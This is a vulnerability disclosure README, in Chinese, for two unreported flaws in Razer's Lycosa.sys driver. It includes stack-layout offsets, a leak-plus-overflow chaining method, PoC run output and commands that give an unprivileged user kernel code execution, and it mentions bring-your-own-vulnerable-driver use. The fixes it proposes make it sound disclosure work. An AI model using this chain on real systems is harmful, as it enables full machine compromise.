通过 https://github.com/416rehman/DeepZero 发现
厂商: Razer Inc.
组件: Lycosa.sys,Razer Lycosa 键盘过滤驱动程序,x64
SHA-256: a120a6184ab16864e8a5f1dfd0cd178fca541de463b5cef946e18c34b9b6f716
报告者参考编号: a120a6184ab16864
状态: 尚未向厂商报告。
本目录报告同一驱动程序的同一例程中的两个不同缺陷。它们具有不同的根本原因和不同的修复方式,因此各自拥有独立的文件夹,可以分别跟踪并分配各自的标识符:
| CVE | 缺陷 | 类型 | 后果 |
|---|---|---|---|
| CVE-01 | 未检查输出长度是否超出缓冲区,导致驱动程序返回内核栈内存 | CWE-125 越界读取 | 内核内存泄露,破坏地址空间布局随机化 |
| CVE-02 | 未检查输入长度是否超出缓冲区,导致驱动程序覆盖自身的返回地址 | CWE-121 栈缓冲区溢出 | 任意内核代码执行 |
两者均可从任何能够登录并运行程序的账户触达。无需管理员权限,无需提权,无需特殊特权。两者均在 Windows 11 25H2(内部版本 26200.8875)上、启用代码完整性且关闭测试签名的情况下得到确认。
第 3 节描述了二者结合使用时的效果,这正是它们被同时报告的原因,也是链式概念验证位于此根目录的原因。
两者均位于 RVA 0x1270 处的 IRP_MJ_DEVICE_CONTROL 处理程序中,并且都作用于内核栈上同一个 0x400 字节的缓冲区。从已发布的二进制文件中读取到的序言部分确定了二者的布局:
Lycosa+0x1270 48 89 54 24 10 mov [rsp+10h], rdx ; Irp
Lycosa+0x1275 48 89 4c 24 08 mov [rsp+8], rcx ; DeviceObject
Lycosa+0x127a 48 81 ec 98 04 00 00 sub rsp, 498h ; the frame
Lycosa+0x1291 ba 00 04 00 00 mov edx, 400h ; the buffer size
Lycosa+0x1296 48 8d 8c 24 80 00 00 00 lea rcx, [rsp+80h] ; the buffer
一个 0x400 字节的缓冲区位于 rsp+0x80,处于 0x498 字节的栈帧内,且未保存任何非易失性寄存器。从缓冲区起始处开始计算:
0x000 .. 0x3FF the buffer, which both defects are supposed to stay inside
0x418 the return address of the dispatch routine
0x420 the saved DeviceObject argument
0x428 the saved Irp argument
0x418 即 0x498 - 0x80。泄露(CVE-01)读取超过 0x3FF 的内容并将其返回;溢出(CVE-02)写入超过 0x3FF 的内容并将其替换。
DriverEntry 创建该设备时没有安全描述符,并为其发布了一个符号链接,因此可通过 \\.\Lycosa 访问:
IoCreateDevice(param_1, 0x20, L"\\Device\\Lycosa", 0x22, 0, 0, &device);
IoCreateSymbolicLink(L"\\DosDevices\\Lycosa", L"\\Device\\Lycosa");
每个受影响的控制代码都解码为 FILE_DEVICE_UNKNOWN、METHOD_BUFFERED、FILE_ANY_ACCESS。FILE_ANY_ACCESS 意味着无需在句柄上持有任何特定访问权限,因此设备对象的安全描述符是唯一的关卡,而它向所有人授予访问权限。
这些报告中的所有结果均来自一个标准用户账户,其唯一的组成员身份是内置的 Users 组。该账户没有管理员权限,未提权,除默认权限外不持有任何特权。
该驱动程序还会在从未连接过 Razer 硬件的机器上加载,因为该软件包具有有效的目录签名。这正是自带易受攻击驱动程序(bring-your-own-vulnerable-driver)攻击中所使用的模式。
之所以分开报告,是因为它们是不同的缺陷,但对其进行分类处理的厂商应当知道,每一个都会使另一个更加严重。
现代 Windows 将内核加载到随机地址。能够覆盖返回地址的攻击者仍然必须知道用什么来覆盖它,而这通常就是障碍所在。该驱动程序自行回答了这两个问题:
CVE-01 消除了随机化。 泄露返回了调度例程自身的返回地址,即 ntoskrnl.exe 内部的一个代码地址。减去其在映像中的已知偏移量即可得到内核加载的基址,由此内核内部的每个地址都已知晓。这没有任何代价,也不会扰动任何东西。
CVE-01 还提供了 CVE-02 为避免出错所需的值。 如 CVE-02 第 4.4 节所述,驱动程序在退出时从偏移 0x428 重新加载 Irp 并通过它进行写入。一个到达返回地址的简单溢出也会破坏该指针,并在例程返回之前出错。可靠的漏洞利用则恰好在 0x428 处停止复制,保留当前请求的活动 Irp,从而使驱动程序正常完成。
随后 CVE-02 重定向执行流,此时内核基址已经知晓。
从一个非特权账户出发,链式概念验证读取栈帧,计算内核基址和缓冲区自身的内核地址,并发送一个面向返回的链:
step 1, read what is above the buffer on the kernel stack:
+0x418 return address 0xFFFFF807D565CABB
+0x498 frame pointer 0xFFFFFD042D313750 (read twice, must match)
step 2, turn those into the two addresses the payload needs:
kernel base = 0xFFFFF807D565CABB - 0x25CABB = 0xFFFFF807D5400000
buffer on stack = 0xFFFFFD042D313750 - 0x500 = 0xFFFFFD042D313250
step 4, overflow with a chain that:
pivots the stack onto the buffer, calls nt!ZwCreateFile, and
resumes nt!IopfCallDriver+0x5b
sending 0x428 bytes
call returned: accepted=true error=0
PROOF: C:\Windows\System32\dz_lycosa_kernel_exec.txt now exists.
这是完整的链,已端到端验证。该非特权账户在 C:\Windows\System32 下创建了一个文件——一个它原本被拒绝写入访问的目录——方法是在内核模式下执行 nt!ZwCreateFile。accepted=true 意味着系统调用正常返回:该链恢复到驱动程序原本将要返回的确切地址(nt!IopfCallDriver+0x5b,即 add rsp,0x38 ; ret),因此线程结束,机器继续运行。所创建的文件已从管理员 shell 独立确认。完整记录见 logs/exec_create_file.log,方法见 METHODOLOGY.md。
实际解读是:这一个驱动程序为机器的任何用户提供了将内存安全缺陷转化为内核代码执行通常所需的两半:消除随机化的地址泄露,以及利用它的控制流劫持。二者结合被证明能够产生具体的特权操作,且机器保持运行。
这两个修复是独立的,且都很小,在各自的报告中完整说明:
OutputBufferLength,并将 IoStatus.Information 设置为实际产生的长度。InputBufferLength。两份报告还建议使用 IoCreateDeviceSecure 和一个将其限制为管理员和系统的 SDDL 字符串来创建控制设备。仅此一项并不能修复任一缺陷,但它会消除赋予二者严重性的非特权可达性。
在撰写之前已进行核查,因为重复报告会浪费厂商的时间:
https://aka.ms/VulnerableDriverBlockList 下载,并在其 1,713 条拒绝规则中搜索。此文件未出现。该列表中唯一的 Razer 驱动程序是 Rzpnk.sys,一个不同的组件。我们相信这两个缺陷此前均未被报告,并欢迎指正。
同一软件包目录中附带的若干其他驱动程序与该驱动程序具有相同的整体形态,将单独审查。此处的内容不构成对它们的任何陈述。
pnputil /add-driver Flter2K.inf /install
sc create lycosa_test type= kernel binPath= C:\path\to\Lycosa.sys start= demand
sc start lycosa_test
每个缺陷在其文件夹中都有各自的单一用途概念验证,而此根目录则存放结合二者的链式概念验证:
# CVE-01, reads only, safe to run anywhere, quickest confirmation of the report
rustc -O CVE-01-kernel-memory-disclosure/poc/lycosa_disclosure.rs -o disc.exe
disc.exe
# CVE-02, stops the machine by design
rustc -O CVE-02-kernel-stack-overflow/poc/lycosa_overflow.rs -o ovf.exe
ovf.exe --yes-crash-this-machine
# the chain: CVE-01 + CVE-02 into a file created in System32, machine left running
rustc -O poc/lycosa_chain.rs -o chain.exe
chain.exe --exec # default target under System32
chain.exe --exec C:\Users\Public\proof.txt # or any path you choose
从标准用户账户运行所有内容。链式 PoC 在其源代码顶部声明了它所依赖的两个驱动程序常量(FRAME 和 BUF_AT),因此可以通过更改这两个数字将其指向不同的驱动程序构建。其 --exec 模式使用的内核偏移量特定于某一个 Windows 构建;程序在运行时检查推导出的内核基址,其 --calibrate 模式会报告在不同构建之间变化的那个值。
README.md this overview and the chaining analysis
METHODOLOGY.md how both were found and confirmed, in order
poc/lycosa_chain.rs the CHAINED proof of concept (both defects)
evidence/ the binary, its package, decompiled sources, dumps
logs/exec_create_file.log transcript of the chained run in section 3
CVE-01-kernel-memory-disclosure/ standalone disclosure for the out-of-bounds read
README.md, poc/lycosa_disclosure.rs, evidence/, logs/
CVE-02-kernel-stack-overflow/ standalone disclosure for the stack overflow
README.md, poc/lycosa_overflow.rs, evidence/, logs/